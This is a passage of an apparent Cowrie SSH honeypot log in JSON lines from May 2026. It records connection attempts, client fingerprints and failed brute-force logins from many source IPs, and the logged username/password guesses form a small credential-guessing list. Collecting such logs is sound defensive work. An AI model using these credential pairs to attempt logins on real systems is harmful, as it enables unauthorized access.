f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:57.631391Z","src_ip":"144.91.86.102","session":"a414a8451704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"margo","message":"login attempt [root/margo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:58.032866Z","src_ip":"144.91.86.102","session":"a414a8451704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":44802,"dst_ip":"10.17.0.5","dst_port":22,"session":"e823740ea94b","protocol":"ssh","message":"New connection: 95.58.255.251:44802 (10.17.0.5:22) [session: e823740ea94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:59.006119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:59.011527Z","src_ip":"95.58.255.251","session":"e823740ea94b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:59.128634Z","src_ip":"144.91.86.102","session":"a414a8451704","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:59.180962Z","src_ip":"95.58.255.251","session":"e823740ea94b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alibaba","message":"login attempt [root/alibaba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:51:59.889626Z","src_ip":"95.58.255.251","session":"e823740ea94b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:01.062349Z","src_ip":"95.58.255.251","session":"e823740ea94b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":37144,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cce35997c23","protocol":"ssh","message":"New connection: 2.57.121.25:37144 (159.203.135.109:22) [session: 8cce35997c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:02.410070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:02.418692Z","src_ip":"2.57.121.25","session":"8cce35997c23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:02.525540Z","src_ip":"2.57.121.25","session":"8cce35997c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hellohello","message":"login attempt [user/hellohello] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:03.021991Z","src_ip":"2.57.121.25","session":"8cce35997c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"hatteras","message":"login attempt [user/hatteras] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:04.132054Z","src_ip":"2.57.121.25","session":"8cce35997c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gwen","message":"login attempt [user/gwen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:05.241379Z","src_ip":"2.57.121.25","session":"8cce35997c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gunsling","message":"login attempt [user/gunsling] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:06.351666Z","src_ip":"2.57.121.25","session":"8cce35997c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"gumball","message":"login attempt [user/gumball] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:07.460658Z","src_ip":"2.57.121.25","session":"8cce35997c23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:08.569428Z","src_ip":"2.57.121.25","session":"8cce35997c23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:36.116140Z","src_ip":"180.106.83.59","session":"4fa3e59c82aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":34340,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f931234b0fe","protocol":"ssh","message":"New connection: 200.108.174.4:34340 (159.203.135.109:22) [session: 7f931234b0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:45.179326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:45.184036Z","src_ip":"200.108.174.4","session":"7f931234b0fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:45.333434Z","src_ip":"200.108.174.4","session":"7f931234b0fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alinutzuhacker","message":"login attempt [root/alinutzuhacker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:45.968547Z","src_ip":"200.108.174.4","session":"7f931234b0fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:47.121800Z","src_ip":"200.108.174.4","session":"7f931234b0fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":38748,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed2abb7f7207","protocol":"ssh","message":"New connection: 43.162.109.147:38748 (10.17.0.5:22) [session: ed2abb7f7207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:48.729876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:48.734667Z","src_ip":"43.162.109.147","session":"ed2abb7f7207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:48.803202Z","src_ip":"43.162.109.147","session":"ed2abb7f7207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spargeosu#^%*&138cucapulinpicior","message":"login attempt [root/spargeosu#^%*&138cucapulinpicior] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:49.107975Z","src_ip":"43.162.109.147","session":"ed2abb7f7207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:52:50.180871Z","src_ip":"43.162.109.147","session":"ed2abb7f7207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":59954,"dst_ip":"159.203.135.109","dst_port":22,"session":"3de6eab4f31c","protocol":"ssh","message":"New connection: 138.99.80.102:59954 (159.203.135.109:22) [session: 3de6eab4f31c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:16.576704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:16.581625Z","src_ip":"138.99.80.102","session":"3de6eab4f31c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:16.688232Z","src_ip":"138.99.80.102","session":"3de6eab4f31c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stupid","message":"login attempt [root/stupid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:17.144643Z","src_ip":"138.99.80.102","session":"3de6eab4f31c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:18.254546Z","src_ip":"138.99.80.102","session":"3de6eab4f31c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":43338,"dst_ip":"10.17.0.5","dst_port":22,"session":"71e7c521bfd1","protocol":"ssh","message":"New connection: 95.58.255.251:43338 (10.17.0.5:22) [session: 71e7c521bfd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:19.821581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:19.826352Z","src_ip":"95.58.255.251","session":"71e7c521bfd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:19.995581Z","src_ip":"95.58.255.251","session":"71e7c521bfd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle@123","message":"login attempt [root/oracle@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:20.729844Z","src_ip":"95.58.255.251","session":"71e7c521bfd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:21.902382Z","src_ip":"95.58.255.251","session":"71e7c521bfd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":54712,"dst_ip":"159.203.135.109","dst_port":22,"session":"57314d391c71","protocol":"ssh","message":"New connection: 36.95.194.51:54712 (159.203.135.109:22) [session: 57314d391c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:29.582258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:29.586820Z","src_ip":"36.95.194.51","session":"57314d391c71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:29.859983Z","src_ip":"36.95.194.51","session":"57314d391c71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"training123","message":"login attempt [root/training123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:30.981797Z","src_ip":"36.95.194.51","session":"57314d391c71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:32.257823Z","src_ip":"36.95.194.51","session":"57314d391c71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.49.242","src_port":54600,"dst_ip":"10.17.0.5","dst_port":22,"session":"135b4145db61","protocol":"ssh","message":"New connection: 148.135.49.242:54600 (10.17.0.5:22) [session: 135b4145db61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:32.474765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:32.479981Z","src_ip":"148.135.49.242","session":"135b4145db61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:53:32.548831Z","src_ip":"148.135.49.242","session":"135b4145db61","protocol":"ssh"}
